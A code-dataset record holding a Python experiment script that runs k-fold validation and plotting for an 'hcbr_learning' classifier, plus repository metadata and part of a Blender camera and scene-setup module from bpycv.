shutil.move('output_{}_confusion_matrix_0.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_0.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_1.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_1.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_2.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_2.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_0.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_0.svg'.format(run_nb))) shutil.move('output_{}_confusion_matrix_1.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_1.svg'.format(run_nb))) shutil.move('output_{}_confusion_matrix_2.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_2.svg'.format(run_nb))) # Prediction analysis cmd_prediction_analysis ="python ../utils/prediction_analysis.py {path} ".format( path=os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)) ) cmd_pa_gp = "gnuplot {}".format('output_{}_diff_pred.gp'.format(run_nb)) rc = subprocess.call(cmd_prediction_analysis, shell=True) rc = subprocess.call(cmd_pa_gp, shell=True) shutil.move('output_{}_diff_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_negative_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_negative_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_negative_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_negative_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_positive_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_positive_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred.txt'.format(run_nb))) shutil.move('output_{}_positive_diff_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_positive_diff_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_pred.gp'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred.gp'.format(run_nb))) shutil.move('output_{}_diff_pred_0.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.png'.format(run_nb))) shutil.move('output_{}_diff_pred_1.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.png'.format(run_nb))) shutil.move('output_{}_diff_pred_0.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.svg'.format(run_nb))) shutil.move('output_{}_diff_pred_1.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.svg'.format(run_nb))) # ROC cmd_roc ="python ../utils/roc.py {path} ".format( path=os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)) ) print('CMD: {}'.format(cmd_roc)) rc = subprocess.call(cmd_roc, shell=True) shutil.move('roc.png', os.path.join(base_output_path, "run_{}".format(i), 'roc.png')) # Time cmd_time ="python ../utils/time_analysis.py {path} ".format( path=os.path.join(os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))) ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, "run_{}".format(i), 'output_{}_time.gp'.format(run_nb)).format(run_nb)) #rc = subprocess.call(cmd_time, shell=True) #rc = subprocess.call(cmd_time_gp, shell=True) except Exception as e: print(e) print('# Analyze all runs...') try: cmd_analyze_runs ="python ../utils/analyze_runs.py {path} {instance} {k} {instance} 'table:{instance}' '{caption}'".format( instance=instance_name, path="hcbr.global.log.csv" if not only_analysis else os.path.join(base_output_path, "hcbr.global.log.csv"), k=k, caption="Confusion matrix and performances indicators for the \\texttt{" + instance_name +"} dataset." ) rc = subprocess.call(cmd_analyze_runs, shell=True) print('CMD: {}'.format(cmd_analyze_runs)) cmd_confusion_matrix = "python ../utils/confusion_matrix.py {}".format(os.path.join(base_output_path, 'output.average.txt')) cmd_cm_gp = "gnuplot {}".format('output_confusion_matrix.gp') rc = subprocess.call(cmd_confusion_matrix, shell=True) rc = subprocess.call(cmd_cm_gp, shell=True) shutil.move('output_confusion_matrix.gp', os.path.join(base_output_path, 'output_confusion_matrix.gp')) shutil.move('output_confusion_matrix.txt', os.path.join(base_output_path, 'output_confusion_matrix.txt')) shutil.move('output_confusion_matrix_0.png', os.path.join(base_output_path, 'output_confusion_matrix_0.png')) shutil.move('output_confusion_matrix_1.png', os.path.join(base_output_path, 'output_confusion_matrix_1.png')) shutil.move('output_confusion_matrix_2.png', os.path.join(base_output_path, 'output_confusion_matrix_2.png')) shutil.move('output_confusion_matrix_0.svg', os.path.join(base_output_path, 'output_confusion_matrix_0.svg')) shutil.move('output_confusion_matrix_1.svg', os.path.join(base_output_path, 'output_confusion_matrix_1.svg')) shutil.move('output_confusion_matrix_2.svg', os.path.join(base_output_path, 'output_confusion_matrix_2.svg')) # Prediction analysis cmd_prediction_analysis ="python ../utils/prediction_analysis.py {path} ".format( path=os.path.join(base_output_path, 'output.average.txt') ) cmd_pa_gp = "gnuplot {}".format('output.average_diff_pred.gp') rc = subprocess.call(cmd_prediction_analysis, shell=True) rc = subprocess.call(cmd_pa_gp, shell=True) shutil.move('output.average_diff_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_bad_pred.txt')) shutil.move('output.average_diff_negative_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_negative_bad_pred.txt')) shutil.move('output.average_diff_negative_pred.txt', os.path.join(base_output_path, 'output.average_diff_negative_pred.txt')) shutil.move('output.average_diff_positive_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_positive_bad_pred.txt')) shutil.move('output.average_diff_pred.txt', os.path.join(base_output_path, 'output.average_diff_pred.txt')) shutil.move('output.average_positive_diff_pred.txt', os.path.join(base_output_path, 'output.average_positive_diff_pred.txt')) shutil.move('output.average_diff_pred.gp', os.path.join(base_output_path, 'output.average_diff_pred.gp')) shutil.move('output.average_diff_pred_0.png', os.path.join(base_output_path, 'output.average_diff_pred_0.png')) shutil.move('output.average_diff_pred_1.png', os.path.join(base_output_path, 'output.average_diff_pred_1.png')) shutil.move('output.average_diff_pred_0.svg', os.path.join(base_output_path, 'output.average_diff_pred_0.svg')) shutil.move('output.average_diff_pred_1.svg', os.path.join(base_output_path, 'output.average_diff_pred_1.svg')) # ROC cmd_roc ="python ../utils/roc.py {path} ".format( path=os.path.join(base_output_path, 'output.average.txt') ) print('CMD: {}'.format(cmd_roc)) rc = subprocess.call(cmd_roc, shell=True) shutil.move('roc.png', os.path.join(base_output_path, 'roc.png')) # Time cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'output.average.txt'), column=10 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'output.average_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'overlap.average.log.csv'), column=3 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'overlap.average.log_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'strength.average.log.csv'), column=5 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'strength.average.log_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'training.average.log.csv'), column=1 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'training.average.log_time.gp')) #rc = subprocess.call(cmd_time, shell=True) #rc = subprocess.call(cmd_time_gp, shell=True) except Exception as e: print(e) if not only_analysis: print('# Copy the results...') shutil.move("hcbr.global.log.csv", os.path.join(base_output_path, "hcbr.global.log.csv")) shutil.move("{}_casebase.txt".format(instance_name), os.path.join(base_output_path, "{}_casebase.txt".format(instance_name))) shutil.move("{}_outcomes.txt".format(instance_name), os.path.join(base_output_path, "{}_outcomes.txt".format(instance_name))) msg = "{} {} {}\n".format(instance_name, seed, average_accuracy / float(k)) sys.stderr.write(msg) print(msg) if __name__ == '__main__': main()

52.369767

185

0.607931

import json import os, errno import sys import time import shutil import subprocess from subprocess import Popen, PIPE EXECUTABLE = 'hcbr_learning' BUILD_FOLDER = '../build' DATA_FOLDER = '../data' KFOLD_SCRIPT = 'kfold_validation.py' ACCURACY_ROW = 4 METAOPTIMIZATION = '../script/genetic_algorithm.py' def convert_paramILS_to_HCBR_params(paramILS): convert_map = { 'e': 'eta', 'd': 'delta', 'g': 'gamma', 'i': 'online', 'p': 'learning_phases', 'z': 'heuristic' } def if_exists(k, v): if k in convert_map: return convert_map[k], v else: return None, None params = {} for k, v in paramILS.iteritems(): key, val = if_exists(k, v) if key is not None: params[key] = val return params def read_outcomes(path): cases = [] headers = [] with open(path, 'rb') as csvfile: reader = csvfile.readlines() n = len(reader[0].split()) for i, row in enumerate(reader): cases.append(int(row)) return cases def main(): executable_path = os.path.join(BUILD_FOLDER, EXECUTABLE) k = int(sys.argv[1]) l = float(sys.argv[2]) instance_name = sys.argv[3] seed = None if len(sys.argv) > 4: seed = sys.argv[4] only_analysis = False if len(sys.argv) > 5: only_analysis = True if sys.argv[5] == 'True' else False if len(sys.argv) > 6: nested_CV = True if sys.argv[6] == 'True' else False suffix = "" if len(sys.argv) > 7: suffix = "_" + sys.argv[7] path = instance_name file_name = path.split('/')[-1].split('.')[0] base_name = file_name.split('.')[0] base_output_path = "{}{}".format(instance_name, suffix) if not only_analysis: try: shutil.rmtree(base_output_path) except: pass try: os.makedirs(base_output_path) except OSError as e: if e.errno != errno.EEXIST: raise print('# Create casebase and outcome files...') process_script = os.path.join(DATA_FOLDER, "process_{}.py".format(instance_name)) data_location = os.path.join(DATA_FOLDER, "{}.txt".format(instance_name)) cmd = "python {} {}".format(process_script, data_location) rc = subprocess.call(cmd, shell=True) print('CMD: {}'.format(cmd)) print('RC: {}'.format(rc)) if rc: exit(1) path_casebase = os.path.join("{}_casebase.txt".format(instance_name)) path_outcomes = os.path.join("{}_outcomes.txt".format(instance_name)) try: outcomes = read_outcomes(path_outcomes) except Exception as e: print(e) exit(1) n = len(outcomes) print('# Create k-folds files for validation...') fold_creation_output = os.path.join(base_output_path, 'kfold_creation.log') cmd_fold_validation = "python {} {} {} {} {} {} > {}".format( KFOLD_SCRIPT, k, path_casebase, path_outcomes, os.path.join(base_output_path, "input_data"), seed if seed is not None else "", fold_creation_output ) print('CMD: {}'.format(cmd_fold_validation)) rc = subprocess.call(cmd_fold_validation, shell=True) print('RC: {}'.format(rc)) if rc: exit(1) print('# Read configuration for this instance...') examples = int(round(n * l)) parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.params.json".format(instance_name)) default_params = { } parameters = None try: with open(parameters_path) as json_data: parameters = json.load(json_data) except Exception as e: print('[ERROR] Could not retrieve parameters. Use default parameters.') print(e) if parameters is None: parameters = default_params else: for key, v in default_params.iteritems(): if key not in parameters: print('# - Add {}={} as parameter because value not found'.format(key, v)) parameters[key] = v print('# Configuration: {}'.format(parameters)) print('# Start validation runs...') average_accuracy = 0 for i in range(0, k): print('\n#########################') print('# - Run {}'.format(i)) print('#########################') run_nb = 'run_{}'.format(i) fold_casebase = os.path.join("../experiments", base_output_path, "input_data", "{}_casebase.fold_{}.txt".format(instance_name, i)) fold_outcomes = os.path.join("../experiments", base_output_path, "input_data", "{}_outcomes.fold_{}.txt".format(instance_name, i)) fold_output_path = os.path.join("../experiments", base_output_path, run_nb) parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.params.json".format(instance_name)) default_params = { } parameters = None try: with open(parameters_path) as json_data: parameters = json.load(json_data) except Exception as e: print('[ERROR] Could not retrieve parameters. Use default parameters.') print(e) parameters["input"]["casebase"] = fold_casebase parameters["input"]["outcomes"] = fold_outcomes parameters["parameters"]["limit"] = examples parameters["parameters"]["run_id"] = i if not only_analysis: try: shutil.rmtree(fold_output_path) except: pass try: os.makedirs(fold_output_path) except OSError as e: if e.errno != errno.EEXIST: print('[ERROR] Could not create output path for {}'.format(run_nb)) continue if(nested_CV): print('# Start Meta-optimization for Model Selection') print('# Preliminary run') fold_param_file = os.path.join(fold_output_path, 'params_{}.init.json'.format(run_nb)) with open(fold_param_file, 'w') as f: f.write(json.dumps(parameters, indent=4)) print('# Initial configuration: {}'.format(parameters)) cmd = "{} --params {} > {} 2> {}".format(executable_path, fold_param_file, os.path.join(fold_output_path, 'output_{}.init.txt'.format(run_nb)), os.path.join(fold_output_path, 'log_{}.init.txt'.format(run_nb)) ) print('# CMD: {}'.format(cmd)) rc = subprocess.call(cmd, shell=True) p = Popen(['tail', '-n', '1', os.path.join(fold_output_path, 'output_{}.init.txt'.format(run_nb))], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() prun_accuracy = float(output.split()[ACCURACY_ROW]) print('# Preliminary run accuracy: {}'.format(prun_accuracy)) cmd = "python {} \ --weights ../experiments/W.txt \ --mu0 ../experiments/Mu_0_post_training.txt \ --mu1 ../experiments/Mu_1_post_training.txt \ --outcomes {}".format(METAOPTIMIZATION, fold_outcomes) print('# CMD: {}'.format(cmd)) p = Popen(cmd.split(), stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() parameters_path = os.path.join(DATA_FOLDER, "parameters", "{}.optimized.params.json".format(instance_name)) parameters = json.load(open(parameters_path)) parameters["deserialization"]["mu0_file"] = "../experiments/Mu_0_optimized.txt" parameters["deserialization"]["mu1_file"] = "../experiments/Mu_1_optimized.txt" parameters["input"]["casebase"] = fold_casebase parameters["input"]["outcomes"] = fold_outcomes parameters["parameters"]["limit"] = examples parameters["parameters"]["run_id"] = i fold_param_file = os.path.join(fold_output_path, 'params_{}.json'.format(run_nb)) with open(fold_param_file, 'w') as f: f.write(json.dumps(parameters, indent=4)) print('# Final configuration: {}'.format(parameters)) cmd = "{} --params {} > {} 2> {}".format(executable_path, fold_param_file, os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)), os.path.join(fold_output_path, 'log_{}.txt'.format(run_nb)) ) print('# CMD: {}'.format(cmd)) rc = subprocess.call(cmd, shell=True) try: shutil.move("training.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "training.run_{}.log.csv".format(i))) shutil.move("prediction.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "prediction.run_{}.log.csv".format(i))) shutil.move("overlap.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "overlap.run_{}.log.csv".format(i))) shutil.move("strength.run_{}.log.csv".format(i), os.path.join(base_output_path, "run_{}".format(i), "strength.run_{}.log.csv".format(i))) except Exception as e: pass p = Popen(['tail', '-n', '1', os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))], stdin=PIPE, stdout=PIPE, stderr=PIPE) output, err = p.communicate() run_accuracy = float(output.split()[ACCURACY_ROW]) average_accuracy += run_accuracy print("# Accuracy: {}".format(run_accuracy)) print('# Analyze the results...') try: cmd_confusion_matrix = "python ../utils/confusion_matrix.py {}".format(os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))) cmd_cm_gp = "gnuplot {}".format('output_{}_confusion_matrix.gp'.format(run_nb)) rc = subprocess.call(cmd_confusion_matrix, shell=True) rc = subprocess.call(cmd_cm_gp, shell=True) shutil.move('output_{}_confusion_matrix.gp'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix.gp'.format(run_nb))) shutil.move('output_{}_confusion_matrix.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix.txt'.format(run_nb))) shutil.move('output_{}_confusion_matrix_0.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_0.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_1.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_1.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_2.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_2.png'.format(run_nb))) shutil.move('output_{}_confusion_matrix_0.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_0.svg'.format(run_nb))) shutil.move('output_{}_confusion_matrix_1.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_1.svg'.format(run_nb))) shutil.move('output_{}_confusion_matrix_2.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_confusion_matrix_2.svg'.format(run_nb))) cmd_prediction_analysis ="python ../utils/prediction_analysis.py {path} ".format( path=os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)) ) cmd_pa_gp = "gnuplot {}".format('output_{}_diff_pred.gp'.format(run_nb)) rc = subprocess.call(cmd_prediction_analysis, shell=True) rc = subprocess.call(cmd_pa_gp, shell=True) shutil.move('output_{}_diff_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_negative_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_negative_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_negative_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_negative_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_positive_bad_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_positive_bad_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred.txt'.format(run_nb))) shutil.move('output_{}_positive_diff_pred.txt'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_positive_diff_pred.txt'.format(run_nb))) shutil.move('output_{}_diff_pred.gp'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred.gp'.format(run_nb))) shutil.move('output_{}_diff_pred_0.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.png'.format(run_nb))) shutil.move('output_{}_diff_pred_1.png'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.png'.format(run_nb))) shutil.move('output_{}_diff_pred_0.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.svg'.format(run_nb))) shutil.move('output_{}_diff_pred_1.svg'.format(run_nb), os.path.join(base_output_path, "run_{}".format(i), 'output_{}_diff_pred_0.svg'.format(run_nb))) cmd_roc ="python ../utils/roc.py {path} ".format( path=os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb)) ) print('CMD: {}'.format(cmd_roc)) rc = subprocess.call(cmd_roc, shell=True) shutil.move('roc.png', os.path.join(base_output_path, "run_{}".format(i), 'roc.png')) cmd_time ="python ../utils/time_analysis.py {path} ".format( path=os.path.join(os.path.join(fold_output_path, 'output_{}.txt'.format(run_nb))) ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, "run_{}".format(i), 'output_{}_time.gp'.format(run_nb)).format(run_nb)) except Exception as e: print(e) print('# Analyze all runs...') try: cmd_analyze_runs ="python ../utils/analyze_runs.py {path} {instance} {k} {instance} 'table:{instance}' '{caption}'".format( instance=instance_name, path="hcbr.global.log.csv" if not only_analysis else os.path.join(base_output_path, "hcbr.global.log.csv"), k=k, caption="Confusion matrix and performances indicators for the \\texttt{" + instance_name +"} dataset." ) rc = subprocess.call(cmd_analyze_runs, shell=True) print('CMD: {}'.format(cmd_analyze_runs)) cmd_confusion_matrix = "python ../utils/confusion_matrix.py {}".format(os.path.join(base_output_path, 'output.average.txt')) cmd_cm_gp = "gnuplot {}".format('output_confusion_matrix.gp') rc = subprocess.call(cmd_confusion_matrix, shell=True) rc = subprocess.call(cmd_cm_gp, shell=True) shutil.move('output_confusion_matrix.gp', os.path.join(base_output_path, 'output_confusion_matrix.gp')) shutil.move('output_confusion_matrix.txt', os.path.join(base_output_path, 'output_confusion_matrix.txt')) shutil.move('output_confusion_matrix_0.png', os.path.join(base_output_path, 'output_confusion_matrix_0.png')) shutil.move('output_confusion_matrix_1.png', os.path.join(base_output_path, 'output_confusion_matrix_1.png')) shutil.move('output_confusion_matrix_2.png', os.path.join(base_output_path, 'output_confusion_matrix_2.png')) shutil.move('output_confusion_matrix_0.svg', os.path.join(base_output_path, 'output_confusion_matrix_0.svg')) shutil.move('output_confusion_matrix_1.svg', os.path.join(base_output_path, 'output_confusion_matrix_1.svg')) shutil.move('output_confusion_matrix_2.svg', os.path.join(base_output_path, 'output_confusion_matrix_2.svg')) cmd_prediction_analysis ="python ../utils/prediction_analysis.py {path} ".format( path=os.path.join(base_output_path, 'output.average.txt') ) cmd_pa_gp = "gnuplot {}".format('output.average_diff_pred.gp') rc = subprocess.call(cmd_prediction_analysis, shell=True) rc = subprocess.call(cmd_pa_gp, shell=True) shutil.move('output.average_diff_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_bad_pred.txt')) shutil.move('output.average_diff_negative_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_negative_bad_pred.txt')) shutil.move('output.average_diff_negative_pred.txt', os.path.join(base_output_path, 'output.average_diff_negative_pred.txt')) shutil.move('output.average_diff_positive_bad_pred.txt', os.path.join(base_output_path, 'output.average_diff_positive_bad_pred.txt')) shutil.move('output.average_diff_pred.txt', os.path.join(base_output_path, 'output.average_diff_pred.txt')) shutil.move('output.average_positive_diff_pred.txt', os.path.join(base_output_path, 'output.average_positive_diff_pred.txt')) shutil.move('output.average_diff_pred.gp', os.path.join(base_output_path, 'output.average_diff_pred.gp')) shutil.move('output.average_diff_pred_0.png', os.path.join(base_output_path, 'output.average_diff_pred_0.png')) shutil.move('output.average_diff_pred_1.png', os.path.join(base_output_path, 'output.average_diff_pred_1.png')) shutil.move('output.average_diff_pred_0.svg', os.path.join(base_output_path, 'output.average_diff_pred_0.svg')) shutil.move('output.average_diff_pred_1.svg', os.path.join(base_output_path, 'output.average_diff_pred_1.svg')) cmd_roc ="python ../utils/roc.py {path} ".format( path=os.path.join(base_output_path, 'output.average.txt') ) print('CMD: {}'.format(cmd_roc)) rc = subprocess.call(cmd_roc, shell=True) shutil.move('roc.png', os.path.join(base_output_path, 'roc.png')) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'output.average.txt'), column=10 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'output.average_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'overlap.average.log.csv'), column=3 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'overlap.average.log_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'strength.average.log.csv'), column=5 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'strength.average.log_time.gp')) rc = subprocess.call(cmd_time, shell=True) rc = subprocess.call(cmd_time_gp, shell=True) cmd_time ="python ../utils/time_analysis.py {path} {column}".format( path=os.path.join(base_output_path, 'training.average.log.csv'), column=1 ) cmd_time_gp = "gnuplot {}".format(os.path.join(base_output_path, 'training.average.log_time.gp')) except Exception as e: print(e) if not only_analysis: print('# Copy the results...') shutil.move("hcbr.global.log.csv", os.path.join(base_output_path, "hcbr.global.log.csv")) shutil.move("{}_casebase.txt".format(instance_name), os.path.join(base_output_path, "{}_casebase.txt".format(instance_name))) shutil.move("{}_outcomes.txt".format(instance_name), os.path.join(base_output_path, "{}_outcomes.txt".format(instance_name))) msg = "{} {} {}\n".format(instance_name, seed, average_accuracy / float(k)) sys.stderr.write(msg) print(msg) if __name__ == '__main__': main()

true

f7018ac86c15a5146e9c8fcde8a6f279fdfb8f77

4,302

py

Python

bpycv/scene_setting.py

Avinash2468/bpycv

3638e58dfba7ce6397a6422cfb96173cee74db50

[ "MIT" ]

1

2021-05-04T15:13:38.000Z

bpycv/scene_setting.py

ethnhe/bpycv

f91373855c1fb6534fd240461af76ab0076f8330

[ "MIT" ]

null

bpycv/scene_setting.py

ethnhe/bpycv

f91373855c1fb6534fd240461af76ab0076f8330

[ "MIT" ]

null

#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ @author: DIYer22@github @mail: ylxx@live.com Created on Thu Jan 16 18:17:20 2020 """ from boxx import * from boxx import deg2rad, np, pi import bpy import random def set_cam_pose(cam_radius=1, cam_deg=45, cam_x_deg=None, cam=None): cam_rad = deg2rad(cam_deg) if cam_x_deg is None: cam_x_deg = random.uniform(0, 360) cam_x_rad = deg2rad(cam_x_deg) z = cam_radius * np.sin(cam_rad) xy = (cam_radius ** 2 - z ** 2) ** 0.5 x = xy * np.cos(cam_x_rad) y = xy * np.sin(cam_x_rad) cam = cam or bpy.data.objects["Camera"] cam.location = x, y, z cam.rotation_euler = pi / 2 - cam_rad, 0.1, pi / 2 + cam_x_rad cam.scale = (0.1,) * 3 return cam def set_cam_intrinsic(cam, intrinsic_K, hw=None): """ K = [[f_x, 0, c_x], [0, f_y, c_y], [0, 0, 1]] Refrence: https://www.rojtberg.net/1601/from-blender-to-opencv-camera-and-back/ """ if hw is None: scene = bpy.context.scene hw = scene.render.resolution_y, scene.render.resolution_x near = lambda x, y=0, eps=1e-5: abs(x - y) < eps assert near(intrinsic_K[0][1], 0) assert near(intrinsic_K[1][0], 0) h, w = hw f_x = intrinsic_K[0][0] f_y = intrinsic_K[1][1] c_x = intrinsic_K[0][2] c_y = intrinsic_K[1][2] cam = cam.data cam.shift_x = -(c_x / w - 0.5) cam.shift_y = (c_y - 0.5 * h) / w cam.lens = f_x / w * cam.sensor_width pixel_aspect = f_y / f_x scene.render.pixel_aspect_x = 1.0 scene.render.pixel_aspect_y = pixel_aspect def remove_useless_data(): """ remove all data and release RAM """ for block in bpy.data.meshes: if block.users == 0: bpy.data.meshes.remove(block) for block in bpy.data.materials: if block.users == 0: bpy.data.materials.remove(block) for block in bpy.data.textures: if block.users == 0: bpy.data.textures.remove(block) for block in bpy.data.images: if block.users == 0: bpy.data.images.remove(block) def clear_all(): [ bpy.data.objects.remove(obj) for obj in bpy.data.objects if obj.type in ("MESH", "LIGHT", "CURVE") ] remove_useless_data() def set_shading_mode(mode="SOLID", screens=[]): """ Performs an action analogous to clicking on the display/shade button of the 3D view. Mode is one of "RENDERED", "MATERIAL", "SOLID", "WIREFRAME". The change is applied to the given collection of bpy.data.screens. If none is given, the function is applied to bpy.context.screen (the active screen) only. E.g. set all screens to rendered mode: set_shading_mode("RENDERED", bpy.data.screens) """ screens = screens if screens else [bpy.context.screen] for s in screens: for spc in s.areas: if spc.type == "VIEW_3D": spc.spaces[0].shading.type = mode break # we expect at most 1 VIEW_3D space def add_stage(size=2, transparency=False): """ add PASSIVE rigidbody cube for physic stage or depth background Parameters ---------- size : float, optional size of stage. The default is 2. transparency : bool, optional transparency for rgb but set limit for depth. The default is False. """ import bpycv bpy.ops.mesh.primitive_cube_add(size=size, location=(0, 0, -size / 2)) stage = bpy.context.active_object stage.name = "stage" with bpycv.activate_obj(stage): bpy.ops.rigidbody.object_add() stage.rigid_body.type = "PASSIVE" if transparency: stage.rigid_body.use_margin = True stage.rigid_body.collision_margin = 0.04 stage.location.z -= stage.rigid_body.collision_margin material = bpy.data.materials.new("transparency_stage_bpycv") material.use_nodes = True material.node_tree.nodes.clear() with bpycv.activate_node_tree(material.node_tree): bpycv.Node("ShaderNodeOutputMaterial").Surface = bpycv.Node( "ShaderNodeBsdfPrincipled", Alpha=0 ).BSDF stage.data.materials.append(material) return stage if __name__ == "__main__": pass

29.265306

83

0.615993

from boxx import * from boxx import deg2rad, np, pi import bpy import random def set_cam_pose(cam_radius=1, cam_deg=45, cam_x_deg=None, cam=None): cam_rad = deg2rad(cam_deg) if cam_x_deg is None: cam_x_deg = random.uniform(0, 360) cam_x_rad = deg2rad(cam_x_deg) z = cam_radius * np.sin(cam_rad) xy = (cam_radius ** 2 - z ** 2) ** 0.5 x = xy * np.cos(cam_x_rad) y = xy * np.sin(cam_x_rad) cam = cam or bpy.data.objects["Camera"] cam.location = x, y, z cam.rotation_euler = pi / 2 - cam_rad, 0.1, pi / 2 + cam_x_rad cam.scale = (0.1,) * 3 return cam def set_cam_intrinsic(cam, intrinsic_K, hw=None): if hw is None: scene = bpy.context.scene hw = scene.render.resolution_y, scene.render.resolution_x near = lambda x, y=0, eps=1e-5: abs(x - y) < eps assert near(intrinsic_K[0][1], 0) assert near(intrinsic_K[1][0], 0) h, w = hw f_x = intrinsic_K[0][0] f_y = intrinsic_K[1][1] c_x = intrinsic_K[0][2] c_y = intrinsic_K[1][2] cam = cam.data cam.shift_x = -(c_x / w - 0.5) cam.shift_y = (c_y - 0.5 * h) / w cam.lens = f_x / w * cam.sensor_width pixel_aspect = f_y / f_x 